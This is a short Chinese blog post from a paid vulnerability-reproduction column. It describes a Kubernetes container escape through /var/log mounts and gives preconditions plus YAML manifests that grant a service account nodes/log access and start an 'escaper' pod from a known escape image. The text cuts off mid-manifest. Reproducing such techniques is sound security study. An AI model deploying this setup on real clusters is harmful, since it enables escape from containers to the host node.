var log逃逸

信安成长日记

已于 2023-11-20 22:50:01 修改

阅读量219

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现与分析文章标签： windows 服务器 linux

于 2023-11-20 22:34:04 首次发布

本文链接：https://blog.youkuaiyun.com/SHELLCODE_8BIT/article/details/134520136

漏洞复现与分析专栏收录该内容

12 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文探讨了一种Linux系统中通过root用户权限，利用service account读取var log目录下的信息，并通过挂载该目录实现某种操作的安全风险。内容涉及到服务器管理和日志安全。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

利用前置

1.root用户

2.有serviceaccount读取log

3. 挂载var log目录

apiVersion: v1
kind: ServiceAccount
metadata:
  name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: user-log-reader
rules:
- apiGroups: [""]
  resources:
  - nodes/log
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: user-log-reader
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: user-log-reader
subjects:
- kind: ServiceAccount
  name: logger
  namespace: default
---
apiVersion: v1
kind: Pod
metadata:
  name: escaper
spec:
  serviceAccountName: logger
  containers:
  - name: escaper
    image: danielsagi/kube-pod-escape
    volumeMounts:
    - name: logs

了解本专栏